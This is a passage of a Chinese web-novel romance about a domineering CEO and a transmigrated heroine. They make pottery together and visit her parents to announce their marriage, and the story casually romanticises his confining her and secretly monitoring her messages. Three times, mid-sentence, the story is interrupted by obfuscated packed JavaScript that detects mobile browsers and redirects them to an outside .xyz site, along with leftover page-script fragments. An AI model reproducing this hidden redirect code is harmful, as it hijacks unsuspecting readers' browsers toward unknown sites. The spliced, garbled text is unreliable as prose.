“谢谢先生,”曹青一喜,声音都洪亮几分,见季时深没有其他交代才恭敬地出去。 独自坐了会,季时深点开邮件,最先看的是和邵明修的聊天记录。 和曹青总结的一样,对于邵明修的纠缠,林鹿的回复很客气,并没有丝毫的亲近之意。 原本因为两人还藕断丝连而升起的怒气悉数被抚平,不过,即便如此,季时深也不准备什么都不做——任何影响他和林鹿感情发展的隐患,他都要第一时间拔出。 明里暗里打压针对肯定是不行。女人大多都是感性的,若是哪天知道是因为他而让邵明修前途暗淡、穷困潦倒,那不得怨恨起他、反心疼起邵明修。他现在已经占据了上风,这种偷鸡不成蚀把米的事自然不能做了。 他要暗地里偷偷帮助邵明修。只有他过得好了,林鹿才不会对其愧疚,这样时间久了,这个昔日旧人才真的是旧了。便是再见,也只是彼此过客,不会留下涟漪。 思绪一片清明,季时深动了动手指,将具体想法发给特助白森后就不再管邵明修这个人了,转而看起林鹿最近特别关注的词条、小说书单、和短剧名单。 越看,季时深的眉头皱得越深。他隐隐约约有些明白林鹿浏览这些的目的了,也许,在她眼里他就是这类人,虽然季时深觉得自己并不是这样的人。 小说太耗时了,季时深准备以后有时间再看,暂时就先看看短剧。 忍着头皮发麻的不适,季时深直接3倍速观看。看完只有一个想法,现在的编剧脑子都被浆糊糊住了吗。 怎么可能会有那么蠢的人,都权势滔天、人人惧怕了,还被身份、地位、能力都不如自己的配角一次次算计成功,且次次轻松放过。而且,真实的霸总也不会有那么多空闲时间,就算有,处理事情的手段也不会那么粗枝烂叶、低级不堪。 林鹿难道喜欢这个调调,应该不会吧? 脑子随意地把自己代入进去想象一下,季时深就一阵恶寒,他怎么可能这么蠢。除非他自愿,不然谁能算计到他,且算计了他还能被轻轻放过?简直做梦! 看到后面,季时深完全不关注这些剧情了,这么蠢的角色,他就算装也装不像。倒是剧里的一些亲密镜头,吸引了季时深注意力,忍不住放慢速度。 他还是很介意林鹿说他吻技差的。 此时看着镜头里女主沉浸在男主的吻中,不知觉就看得认真些,想要学习些技巧。 直到凌晨三四点,一阵阵困意袭来,季时深才回房。看着睡着的林鹿,季时深一把将人搂紧怀里,亲了亲头顶才闭上眼睛。 清晨。 一缕阳光照进来,林鹿缓缓睁开眼,跟着,又飞快地闭上眼再睁开。 季时深? 是的哦,她昨晚是和季时深睡一起的。脑子渐渐清醒,林鹿的眼睛也渐渐落在季时深脸上。 他长得真好看!用所有她知道的词汇描述都感觉还缺了些什么。林鹿不知觉看得呆了些,也忍不住伸手想要碰一碰。 指尖刚触到季时深额头,就被抓个正着。季时深没有睁眼,只含含糊糊道:“陪我再睡一会。” 这样的季时深是林鹿没见过的,格外地让人容易心软。虽然刚醒来一点睡意都没,但林鹿就是不忍拒绝,跟着又闭上眼。 林鹿真的觉得自己会一直清醒地等到季时深醒来,但实际,并没有一会,意识就渐渐低沉,睡了过去。 再次醒来,天光已经大亮,都能感受到夏日阳光的暴烈。 季时深不知何时已经醒来,靠在床头,翻看手中平板。觉察到动静,季时深低头,“醒了?饿不饿?我让人备餐。” “嗯,”林鹿点头,“几点了?你怎么都不叫我。”可能是之前醒过来一次,再次睁眼见到季时深,林鹿少了几分惊讶,多了几分自然。 “又没有其他安排,起那么早干嘛,你想什么时候起就什么起,”放下平板,季时深重新躺回床上,一把搂住林鹿的腰带入怀中,“昨晚睡得怎么样?” 林鹿想挣扎,但一次次挣扎一次次失败,到现在她都放弃挣扎了,任凭季时深动作,只要不过分就好。 “还行,”忽略季时深灼热的体温,林鹿点点头。她没有认床的习惯,也不会因为身边多一个人就觉浅,只要睡着了就和小猪一样沉,哪会睡不好。顿了下,又问道,“你呢?” “非常好!”季时深飞快回道。这话不是哄骗林鹿,是真的觉得睡得很好。他其实有中度的睡眠障碍,但不知是不是错觉,只要有林鹿在旁边,感受着她的气息,这些障碍就不再是障碍,起不到任何作用。 “对了,我让章叔将我名下的藏品都列了册子,你等会看看有没有伯父、伯母喜欢的,多挑一些,作为明天上门拜访的礼物。” “藏品?”现在有钱人送礼都整这么大的吗,林鹿眨巴眨巴眼,有些期待,“那我等会长长见识。不过,作为礼物就算了,比起这些只能摆着欣赏的,我爸妈更喜欢实用的,像烟、酒、茶、化妆品、大金镯子之类的更适合。” 原主家境一般,父母文化水平也不高,一辈子朴朴实实,对于那些高雅的收藏品着实欣赏不来。真送过去,别说敢不敢收,就算收了也提心吊胆地不知道放在哪里,就怕哪天小偷给偷了。到时,收礼都收出罪来。 “烟、酒?这会不会不太好?有些不够重视。送礼是我的心意,也是该尽的礼数,你不用因此有负担。”季时深迟疑,第一次见林鹿爸妈,他想好好表现表现,争取留个好印象。 “安啦,我比你更了解我爸妈,知道他们的喜好,听我的准没错。而且,你穷得就剩下钱了,我就算想给你省钱,也不会在这种场合下省的,真的是这些更适合。” “……行吧,那就按你说的来准备,但量得上去,这个不许拒绝。我季时深第一次上面拜见岳父岳母,真就提一点点东西,传出去还要不要面子了。” 林鹿被逗笑,“行,这听你的。但我还没告诉我爸妈你真实身份,只说你开了个小公司,手下有十来个人,你到时可别说漏了嘴啊。” “我的身份就这么拿不出手吗,都要领证了还瞒着,就怕哪天岳父岳母从其他人嘴里知道,还以为是我心不诚呢。” “那你就全推到我头上。谁叫你这么拿得出手,真要告诉我爸妈你真实身份,他们肯定得多想,说不得还得劝我不要急着嫁给你,和你说话也时刻小心着。” 她和季时深家境差距太大,几乎堪比云泥,任何真心疼爱子女的父母都不希望自家孩子嫁入。毕竟,真心易变,这样的家庭,哪天被欺负了,他们不仅撑不了腰,还可能成为累赘。 “其实,我比较发愁的是要送什么礼物给你的家人。你说,什么东西是我能买得起的,但对你们这样的阶层又是不那么廉价的。季时深,你帮我想想,我都快愁死了。” “这些我来准备,你到时只要人过去就行。记住,不用在乎他们的想法,他们所有人加在一起,对我而言都没有你一根手指头重要。你要再因为这个发愁,那我们直接不用去了。”抚平林鹿的额头,季时深霸气道。 “傻话,别的时候你准备就准备了,这第一次上门哪还能让你准备,我的面子不是面子啦。你放心啦,我不会为难自己的,真想不出来,我就随便买一个,反正都是心意,心意到了就行。” 说着说着,林鹿眼睛一亮:“心意,对,就是心意,我怎么把这个给忘了。季时深,你会陶瓷DIY吗?不会也没关系,我可以教你,很简单的。到时我们一起烧制一些器皿作为礼物,我的劳动成果或许会被忽视,但加入你的心血,一定会很受欢迎的。” 越想,林鹿越觉得这个主意不错,当下就从床上爬起,择日不如撞日,就今天吧。即能和季时深呆一起,又能顺带做出礼物,简直是一箭双雕了。 “季时深,你快起来,等吃完饭我们就去陶室,也不知道这临时过去还有没有好位置,你动作快点,别耽搁了。”边说着,林鹿边小跑到洗漱间,开始洗漱。 “不用急,我让章叔去安排,确保我们不管什么时候过去,都有最好的位置。”季时深不紧不慢地起身。 “你又在使用钞能力?”探出半边身子,林鹿冲着季时深龇龇牙,“万恶的资本家,又是羡慕嫉妒恨的一天。” 季时深被逗笑,不知觉摸了摸自己的嘴角,这一两天他笑的次数比之前一两年都要多。果然,他的选择没有错,有这么个人在身边,一成不变的生活都带上了色彩。 “不用羡慕,我这个万恶的资本家都是你的了,要羡慕也该羡慕你自己。” “季时深,我怎么发现你越来越有油嘴滑舌的趋势了?嘴突然变得这么甜,说,你是不是又打坏主意了。” 季时深起身,慢慢走近,将林鹿圈在他和洗手台之间,“我能有什么坏主意,还有两天就要领证了,这一顿饱和顿顿饱我还是分得清的,再急也不会再这个时候急啊。” 说是这么说,但季时深看向林鹿的眼神却一点也不清白。低下头,正准备偷个香时,脑海里突然浮现昨晚看的短剧男主将女主抱到洗手台强吻的画面,顿时一个冷颤清醒下来,他怎么想到这个了? 看看林鹿,又看看背后的洗手台,明明没什么关联的,但这一刻,季时深竟莫名地觉得很搭,若是能坐在上面,应该会更搭吧。想到林鹿会和短剧女主一样,微抬着头,任他……一向仅凭着本能行事,没有任何经验的季时深整个人红透了。 “季时深,你怎么了?”见季时深僵住,一动不动,脸色还越来越红,林鹿有些担心地叫人。 脑海里那些旖旎画面瞬间被摇散,季时深一时不敢看林鹿,有些急切地移开林鹿放在他手臂的手,匆匆道:“我去别的洗漱间。” 说完,不能林鹿反应就风一般地出去了。 林鹿疑惑地看了一眼,虽然奇怪,但也没放在心上。直到出房间时,见到季时深头发湿漉漉地回来,下意识问道:“大早上的,你怎么还洗澡呀。” 话刚说完,就对上季时深不自在的神情,林鹿后知后觉地有点明白,顿时闹个大红脸,“我下去吃饭啦,你快点。” 丢下话,林鹿就快速地错身下楼。 这段时间,林鹿已经和别墅的工作人员熟悉了,也渐渐适应在别墅的生活。 早餐也是按照她喜欢的种类准备的,虽然没有刚刚过来时那么繁盛、精致,但剩在温馨日常,是她喜欢的。 视线瞥了眼多出来的几样,林鹿猜测这应该是特意为季时深准备的,是他的喜好,想到此林鹿默默记在心里。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718756|173850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 饭后,两人出发一起去陶室,地点是季时深让人安排的,没让林鹿操一点心。 上车时,看着随行的陌生面孔,林鹿顺口好奇问道:“曹特助呢,今天怎么没看到他?” 看过原著的她,对季时深身边最受其看重的两大特助可谓是印象深刻。明有森武暗有曹青,两人仿佛十八般技能在身,不管季时深的命令有多刁钻、难办,他们都能在第一时间高效保质地完成。 甚至,季时深的人格魅力都有一部分是通过他们两个侧面体现的。毕竟,能同时收服下这两人,且让他们一直忠心耿耿,可不是什么人都能办到的。 “怎么突然问起曹青,你们什么时候这么熟了?”季时深视线瞥向林鹿,语气看似漫不经心,但已经略微摸头他脾性的林鹿知道他其实是很认真在问,甚至压抑着一丝不爽。 “每次见你,曹特助都跟在身侧,这突然没看到人,我想注意不到都难吧,”林鹿语气也很随意,就像随口说到一样,不对,是她本来就这么随口一问的。 见季时深脸上还带着丝不爽,林鹿凑近,故意说道:“你难道是在吃醋?不会吧,真的不会吧,我们这么大的霸总会吃一个小特助的醋?曹特助既没你长得高,又没你长得帅,还没你有权有势,智商爆表、能力卓越。我就算再眼盲心瞎,也不会放弃你这个珠玉呀。” 一通彩虹屁下去,季时深成功被哄好。虽然他本来就是一丢丢不太明显小情绪,但感受着林鹿的注意力一直在他身上,甚至还特意为此安抚他,这点小发现让季时深打心底里高兴。 小车悠悠扬扬。 季时深手持平板,时不时地滑动几下,工作狂精英模样展露无疑。相比之下,林鹿则有些颓丧了,不是看看外面的风景,就是偷偷瞄瞄季时深,到后面更是带上耳机,追起了短剧。 虽然觉得自己的脑子有些被这些东西腐蚀、变笨,但多巴胺产生的愉悦、满足实在太上头了,林鹿忍不住就想刷刷。 不过,并没有刷多久,车子就缓缓停在一个带着古风气息的庭院。 “这是……”林鹿探头望了望,眼里明显带上疑惑。她以为的陶室是路边随意的一家小店,或商场里寻常的一个格子间,可原来她的格局还是小了,季时深竟然直接带着她到了古风工艺作坊。 也不知道是怎么和里面工作人员联系的,他们刚下车,就有专门的人过来迎接,声音温柔地一边带路一边介绍,还贴心地附上一些实用建议和行程安排。 林鹿从没享受过这么高级贴心的服务,一时竟有些失措,不知怎么面对这样热情的招待。 觉察到林鹿不安的情绪,季时深握住林鹿的手,轻轻凑近道:“我在,放轻松点,就像你日常在家一样,怎么想就怎么来,不用考虑太多。这里我也有投资,算得上半个自家产业,你的规矩就是规矩,没人敢多说什么的。” 林鹿并没有因为这句话就彻底放松下来,但无形中的紧张感却是降下不少。不管是季时深这个人,还是他背后的势力,都能给人满满的安全感。 季时深应该是包场了,一路走来,除了他们和工作人员,并没见到其他人影。 工作间内,一应材料已经备好,还有两位有些年纪的老师随时提供指导。 林鹿本来以为接下来会是自己的专场,可以装波大的,过过给季时深当老师、指导的瘾。毕竟,因为身体原因,她上一世仅有的娱乐之一就是在陶室各种DIY,虽说缺乏大师指导,但也熟能生巧,自成一格。 只是,林鹿很快就惨遭打脸。 果然,人聪明学什么都快,这种天赋真是普通人拍马也赶不上的。不过大半个小时,林鹿就体会到教会徒弟、饿死师父的悲痛。 看着季时深手里快要成型的泥胚,林鹿恶劣地想要搞破坏,但最终还是不忍心坏了这得来不易的心血。 手指转了个弯,直接抹向季时深的脸。跟着,在季时深反应前,大声提醒:“手不能动,千万不能动,动了之前的辛苦就白费了啊。” 季时深其实并不在意一件还未成型的泥瓷,但看着林鹿脸上灿烂的坏笑,突然就想让她得逞。 见季时深真的被威胁住,林鹿有些小意外,试探性地凑近了点,见季时深还是没有动作,胆子立马大了许多,对着季时深另一边脸也来了一下,正好凑个对称。 季时深静静看着,良久,才宠溺又无奈地提醒:“再不开始,你还来得及吗,到时别说我不等你呀。” “啊,哦哦,”林鹿这才想起正事,顿时顾不上玩闹,乖乖地开始揉泥拉胚。 忙碌的时候时间是飞快的,但因为身边多了个人,白驹过隙也变得生动起来。季时深不知何时已经停下手里的动作,静静地坐在旁边看着林鹿,静静看着。 直到林鹿停下最后一个动作,将大半天的成果交给师傅烧制时,季时深才跟着起身。 洗手时,看到季时深脸上已经干了的泥痕,林鹿忍不住笑出声,打趣道:“季时深,你这样好呆萌哦,超级超级可爱的。你先别擦,我给你拍个照纪念一下。” 季时深本来挺随意的,闻言,飞快地伸手想要抹去。 林鹿不乐意,也顾不上拿手机了,当下就按住季时深的手,“别嘛别嘛,真的挺好看的,我都没见过你这个样子呢。实在不行,你也抹我一下,我们都拍照纪念,谁也笑话不了谁,怎么样?” 见还说服不了季时深,林鹿继续绞尽脑汁地画大饼:“你想想,等我们老的时候,坐在夕阳下,一起看着这些照片,回忆今天发生的一切,多浪漫美好呀。年轻的时候不多拍拍,等老了满脸皱纹的时候想拍也少了意境。” 不知道哪句话触动了季时深,林鹿明显感觉到对方态度软了下来,当即趁热打铁给自己脸上也抹了两下,然后道:“我也有泥痕了,你不许拒绝,我们一起来拍。” 边说着,林鹿边拿过手机,对着自己、对着季时深咔嚓咔嚓地拍着。直到各种姿势都摆了个遍,才意犹未尽地停下来。 “季时深,回去的时候,你让司机注意下周围有没有卖相机的,我想买个拍立得。手机虽然很方便,也很高清,但总感觉少了些什么,还是拍立得好,不仅自带氛围感,还立即成像,当场就能翻看。” “我打算以后给我们拍很多很多照片,再找一面白墙,上面就粘贴我们的照片。记忆会渐渐淡去,变得模糊,但照片不会,它会永远承载我们的回忆。” “季时深,我们会一直很好很好地走下去,对吧。如果有一天,你喜欢上其他人,一定要记得提前告诉我,我会体面地离开,给我们的缘分画上一个句号。千万不要让我们的结局变得不光彩。” “不会有这么一天的,我保证!”掰过林鹿,季时深正视着林鹿的眼睛,“我很忙,每天工作上的事就耗费我大半精力,除了你之外,根本没时间接触其他人,也不想把时间、精力浪费在无关紧要的人上面。所以,你这小脑袋瓜子不要想些有的没的,来杞人忧天,真有闲情,还不如好好规划我们的未来。” “希望你能说到做到,要是哪天被我抓住你开小差,我就……”想了半天,林鹿也没想出什么有力的说辞来,顿时有些丧气,“好吧,我还真没什么能威胁到你的,实在不行,我就也开小差,大家各玩各的,公平。” 季时深顿时冷下眉眼:“什么话都能说吗,下次再让我听到这种话,你就别想下床。我这辈子都不会出轨,你也休想!” 9. 坦白 就要去林家了。 这不仅是季时深第一次去,也是林鹿第一次去,不知觉的,林鹿很紧张。 不同季时深,两人认识时间不长,不管她有什么变化,都能随便找到说辞糊弄过去。 林父、林母不一样,他们是很好的父母,和女儿的关系也一直很亲密,而天下会有认不出自己孩子的父母吗? 林鹿很担心被他们发现她不是他们的孩子,也很愧疚因为她而让他们一家人被迫分离,更害怕他们发现真相时的质问。 虽然从头到尾,她什么都没做过,也是被动地接受这一切,但作为既得利益者,林鹿说不出自己也很无辜的这种话。 “怎么了?”觉察到林鹿的不对劲,季时深停下步伐问道:“是身体不舒服吗,我看你从中午开始就面色不好了。别忍着,我们现在就去看医生,你爸妈那解释解释,他们能理解的。” “没有,”林鹿赶紧拉住季时深,生怕慢上一秒就被拽到医院了,“不是不舒服,是紧张,单纯地紧张。” “回自己家,有什么好紧张的,难道是因为我?”脸上的焦急散去,季时深看着林鹿,甚至有了逗趣的心思。 林鹿点头,“这是我第一次带男生回家,要说的还是领证这种大事,我怕他们接受不了,不同意怎么办?” 这时候,林鹿才觉得领证这个决定做得太匆忙了,她不仅是她自己,还是原身父母的女儿。这种事应该提前得到他们允许,而不是事到临头的一声通知。 季时深脸上的笑收起,看着林鹿问:“如果不同意,你会怎样?反悔吗?” 习惯了季时深温言温语,突然再听这种冰冷的语调,林鹿有些不适应,安抚地握着季时深的手:“不反悔,永远都不反悔,说了和你领证就只会和你领证,但……” 听到转折,季时深刚缓和的脸色又拉了下去。 林鹿小小觑了一眼,讨好地摇了摇季时深的手,继续道:“要是我爸妈反对特别强烈,我们能不能缓一缓再领证?你看啊,本来领证就是我提的,你一开始也没这个打算,那早些晚些是不是也没影响啊。” “怎么没影响,说好了,领完证我们就……”后面的话,因为周围有人,季时深没说得太透,那个中意思眼神已经传递得明明白白。 林鹿脸微红,瞪了眼季时深,他一个大霸怎么做到无时无刻都能想到那种事的。 但毕竟是她理亏,顿了顿,林鹿还是小声承诺,“这个不变。只领证可能推迟,其他还是和之前说好的一样,到时你想怎样就怎样。” 说到后面,林鹿声音低得跟蚊子似的,也就季时深离得近,才勉强听到。脸上重新带出笑意,但季时深依旧不太满意林鹿的答复:“你爸妈不同意,你该想的是怎么说服他们同意,而不是轻易地推迟我们的领证时间。” “你爸妈很疼爱你,我自认也算得上很拿得出手的结婚对象,只要好好说,你爸妈肯定会同意的。如果还不同意,那要么你爸妈不够爱你,要么你的表达有问题。现在,什么都别想,给我好好组织措辞,让你爸妈听完就立即同意我们领证。” 说完,不给林鹿反应时间,就示意司机开门,推着林鹿欲上车。 “等下,真等下,我都和我爸妈说了你是开个小公司,自己创业的,”说到这里,林鹿指了指面前的库里南,“开这个是不是有点太夸张,和自爆没两样了。” “所以,你的意思是?”季时深有些无语,“我早说了,一个谎言要用无数的谎言遮掩。我的身份又不是什么缺陷,你说你整这一出干嘛?事还是这么个事,以后还得找机会解释。这解释得清还好,就怕还没解释又添上新的误会。” “别说了,求你别说了,我知道错了。当时就是怕我爸妈觉得差距太大会反对才下意识脱口而出的,那这说都说了,我想改口也不合适呀。” 其实到现在也意识到是自己考虑不当。身份好说谎,但季时深一言一行和举手投足间的气质却是唬不了人。而且,这种谎言本身确实挺伤人心的。 “算了,不换车了,就这么出发吧,到时我好好认错,看在我及时悔改的份上,他们应该会原谅我的。”闭着眼,林鹿咬着牙大声道。 她是一个很干脆的人,做了决定就不再犹豫,当下就顶着季时深惊讶的眼神上车。 “真决定了?”季时深问。 “嗯,”林鹿点头,“我觉得你说的有道理,之前是我想岔了,遇到问题,想得应该是怎么解决问题,而不是逃避,还是用谎言这种方式逃避。” “决定了就好,放心,一切有我。就算你爸妈强烈反对,也不用担心,我会用实际行动向他们证明你的选择没错。不用想着一个人解决,这不仅是你的事,也是我的事。” “季时深,谢谢你。”林鹿牢牢握着季时深的手,这一刻,她除了感动,还有一丝丝心动,不,应该是很大一丢心动。 隔了会,林鹿想到什么,又戳了戳季时深,开口道:“那个,我能不能再和你商量一件事,我今晚不回来了,我想在我家住一晚。” 林鹿可没忘记她现在的处境,也想趁着这个机会,为自己争取争取:“还有,我们都要领证了,你那不许我出门的命令是不是该废了,我要出入自由。也就我脾气好,不和你计较,不然你都够得上违法乱纪了,是要蹲局子的。” 季时深没一口应下,而是看着林鹿,过了会,才似认真又似随意道:“你应该不是想趁着这个机会逃跑吧?这种行为很蠢,我相信你这么聪明肯定不会做的。” “季时深,你在说什么呀?你不会到现在还以为我是在麻痹你、实际想着逃跑,拿话点我?我服了,我真的服了,少爷。敢情我之前说的那么多那么多,你都没信,还在搞怀疑呀。” 林鹿既无语又火大,生无可恋地看着季时深:“你这疑心病真的要好好治一治了,一天到晚想那么多,你就不累?小心年纪轻轻给秃顶了,到时再帅的一张脸也白瞎。” “还逃跑?我爸爸妈妈、亲朋好友都在这,我要跑哪里去?放着有钱有闲还有帅老公的富贵日子不过,跑到人生地不熟的地方东躲西藏,过颠沛流离的苦日子,我就那么傻,喜欢找苦吃?” 说到这,林鹿双手气呼呼地夹住季时深的脸对着自己:“季时深,相信我很难吗?就算不相信我,你也该相信你自己呀。这一出出的,你都怀疑你的智商 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15754330|173850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,一点也没传说中的精明劲。” 移开林鹿的手握在掌中,季时深没有反驳林鹿的质问,而是饶有兴趣地问:“传说中?传说中的我是怎么样的?你说来听听。” “现在说的重点是这个吗,你别想转移话题糊弄。随随便便就冤枉我,你今天不好好道歉,就别想揭过,哼。”林鹿一脸严肃地语带威胁。 长这么大,季时深从未被人要求过道歉。虽然今天这事确实是他不对在先,但道歉的话却愣是不知道怎么说。 顿了顿,季时深道:“刚刚你说要和你爸妈坦白我的身份,那我们之前准备的礼物就有些不妥当了,我让章叔再准备一些。” 林鹿没应声,就直直看着季时深。 季时深应该也有些不自在吧,隔了会又道:“今晚你想住在你家也可以,陪你爸妈好好聊聊天,我明早再过来接你。晚上要到我家,我下午陪你去做造型,我记得之前有拍过一套红宝石首饰,你戴着应该会很好看。” 见林鹿还没有说话的打算,季时深又道:“等领了证,我给你安排司机,以后你想去哪就去哪,不用和我说的。还有,聘礼单子我前天就让白森准备了,本来想领证当天给你惊喜的,但现在不用隐瞒身份了,我想应该可以直接告诉伯父伯母,也让他们看看我的诚意。你现在要不要看看单子?看有没有缺的?” 林鹿本还不想说话的,但见季时深拿出手机,点了几下,就要递给她看时,终于忍不下去道:“季时深,道歉不是你这样的。” 这一刻,林鹿情绪很复杂,她觉得她应该是生气的,但看着季时深这样,更多的却是心疼。 “季时深,你有没有发现,你很喜欢用补偿的方式来道歉,之前电影院是,现在也是。我不知道怎么说,明明这种方式应该是最实际,也最有诚意的道歉方式,但我觉得我们之前不应该这样。” 书到用时方恨少,林鹿咬了咬唇,不知道怎么准确表达自己心里的想法,隔了好久才道:“在我面前,你不需要用其他东西来量化道歉。一句对不起,或简单的口头承诺就足够了。嗯,总结下来就是态度得认真,但具体方式可以随意,不用左右衡量的。就像现在,你说一句对不起,以后不怀疑我就可以了。” 季时深没说话,重新握住林鹿的手捏了捏,在林鹿以为是她没说明白时才轻轻道:“我会努力相信你的。” 努力? 林鹿皱了皱眉,不太满意这两个字,但想到季时深的性格,步子也不能一下子跨得太大,勉勉强强就算过关啦。 “说好了,要相信我哦。那以后遇到任何和我有关的、让你不高兴的事或话,你都不要憋在心里,要说出来,我们百分百有效沟通。就像现在,你怀疑我要逃跑,说出来了,虽然我有丢丢生气,但也给了你明确答案,你回头是不是就不用再纠结这件事了,多好。” “我最讨厌那种有嘴不说,没误会都整出误会的桥段。季时深,你可千万不要这样啊,我们是要种甜瓜,大甜瓜的,可别让它有变苦的可能,知道吗?” “甜瓜?”再次听到这个形容词,季时深还是忍不住会心一笑,点点头肯定道,“好,是甜瓜,不会让它苦的。” 10. 问询 林家所在的小区是个老小区,虽然破了点,但地理位置不错,里面的绿化率也很高。 季时深准备的礼物还是有些多,两人外加司机来回了好几趟才将东西拎进电梯。 “幸亏没听你的,让章叔再送礼物过来,不然我们还得来回几趟。”林鹿抹了抹额间的汗,这夏天的太阳就是烈,还没几分钟就感觉身上黏糊糊的。 看了眼季时深,林鹿抽出一张纸巾递过去:“擦擦。” 季时深接过,动作一点也不女气、非常雅致地擦着,林鹿不由地感叹:“亏我之前还想着暂时瞒一下你的身份,你这一举一动妥妥的富贵少爷样,哪还瞒得住呀。” 季时深笑笑,捏着用过的纸巾左右看看,最后落在林鹿腰侧半合的包包上,动作敏捷地塞了进去。 “季时深!”林鹿顿时瞪大眼,不满地凶道,“你裤子不是有口袋吗,塞你裤子就行了,干嘛要塞我包里,我包又不是垃圾桶。” 林鹿有些不满。这要不是快到楼层,她高低要翻出来再塞回去。 “到了,”季时深没给林鹿生闷气的机会,见电梯门打开,马上捡了两样轻的放在林鹿手中,将人轻推了出去。 林鹿瞪了眼,又回身帮着一起。 等两人搬好东西,准备敲门时,门突然从里面被打开。 “鹿鹿,”林母一愣,“我听到声音,想着应该是你们回来了,没想到还真是。老林,快出来,鹿鹿回来了。” 说完,视线移到旁边的季时深,满面笑容道:“这就是小季吧,快进来,家里也没啥好招待的,你先随便坐,我给你拿瓶水。” 人生第一次见女婿,林母显然很激动,声音都带着一丝颤抖。 “妈,”或许天下疼爱子女的父母都一个模样,林鹿这一声妈叫得很自然,并没想象中的艰难,“时深还带了一些礼物,我们先拿进去。” 林母这时才看到后面排成一排的礼物,顿时又是高兴又是不好意思道:“来就来了,怎么还带这么多东西,多破费。” 边说着,林母边偷偷拧了拧林鹿:“你也不知道劝着点,现在挣钱不容易,你们以后要花销的地方还多着呢,不能像以前那样大手大脚了。” “痛、痛,”林鹿没料到林母会突然搞袭击,条件反射地跳到季时深旁边,揉了揉后背道,“第一次见家长,肯定要隆重些啊。而且,这已经是我劝过很多次后了,不然按时深的意思只会更多。” 林父这时也从里面出来,一边热情地打招呼一边帮着拿礼物。 他比林母更识货,一看烟酒茶的牌子就知道是市面上的高端货,价值不菲,顿时又是高兴又是心疼:“随便买些,意思意思就行了。你说你们买这么多,还都这么好,多浪费钱呀。这次就算了,下次可不能这样,钱要省着点花。” “礼多人不怪,时深也是想给你们留个好印象,但他嘴笨,不会说好听的,只能粗暴地用礼物表示诚意了。” 说着,林鹿打开部分礼物包装道,“你们养了我这么多年,还把我养得这么好,收点见面礼怎么了。见面礼重,才表示他重视你们、也重视得。爸,看着这些烟酒茶,你就说你高兴不高兴?还有妈,看着这金镯子、金项链、化妆品,你就说你喜不喜欢吧?” “哈哈哈,喜欢、高兴,”林父、林母齐齐瞪了眼林鹿后又僵硬地冲着季时深笑。 转过身,林母就对着林鹿使眼色,小声道:“你这孩子,怎么什么话都大咧咧地往外说。这有,买这些都花了多少钱,小季家里人知道吗?这金子你回头记得带走,充作你们结婚的三金,也好省一笔。” “妈,你这意思是同意我们领证,不再考察考察了?”林鹿有些意外,她以为林父林母至少要好好盘问一番再论同意或不同意呢,没想到竟这么顺利。 “妈眼又不瞎。这年头,钱在哪心就在哪,第一次见面就买这么多贵重东西,可见是很重视你的。而且,人小伙子看着就是有能力的,又长得那么好看,妈有什么可反对的。” 好像是有几分道理,林鹿忍着笑,故意道:“那你刚刚还凶我,都快是一家人了,说话坦诚点怎么了。” “你还来劲了是不是?”林母作势要打人,但林鹿已经先发制人,冲着季时深大喊:“时深,我妈同意我们领证了,还让我把你送她的镯子、项链带回去,充当我们结婚用的三金。” 季时深视线一直没离开林鹿,此时见林母的样子,就知道是林鹿又把人给惹着了,忙搭话道:“这些礼物都是我的心意,怎么能收回。至于结婚首饰,我已经安排好了,不会委屈鹿鹿的。” “我知道鹿鹿是想让气氛轻松点,才故意这么大大咧咧说话的。但话糙理不糙,你们把她养大不容易,现在又愿意把她交给我,这是再多心意也换不来的,我很感激。也请你们放心,我会好好照顾鹿鹿,不会让她后悔和我在一起的。” 季时深认真说话时,自带一种上位者气势。 林父、林母本就不知道怎么和这未来女婿相处,现在对方这么一严肃,就更不知道说什么好了。到最后,只朴朴素素道:“只要你能一辈子都对鹿鹿好,我们就没什么不放心的。鹿鹿年纪小,偶尔闹些小脾气也正常,要是过分了,你就和我们说,我们来说她。” “鹿鹿脾气很好,我们就是相处得很愉快,才想着早点定下来。一方面是认定了彼此,想给彼此一个名分,另一方面也是打算要个孩子,我们这个年纪,正是要孩子的最佳时候。” 季时深一本正经地说着,林鹿在对面却是把眼睛都要瞪歪。她什么时候说要孩子了?八字都没一撇,他就说得这么煞有其事。怪不得来的时候说什么让她放心,一切有他,敢情就是找了个这么好理由呀。” 可偏偏,林父林母一脸地赞同,不,是非常地赞同:“是该要个孩子,我和他爸在你们这个年纪,鹿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15754331|173850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鹿都能走路了。这趁着年轻生,身体也容易恢复,以后要是想二胎了,还可以继续再生,不用担心年龄大对身体不好。” 眼见着三人越说越远,林鹿坐到季时深旁边,偷偷掐了掐季时深才道:“那爸妈,下周一,我就和时深先领证。至于婚礼,暂时还不急,等明年或五一或国庆的时候办,你们觉得怎么样?” 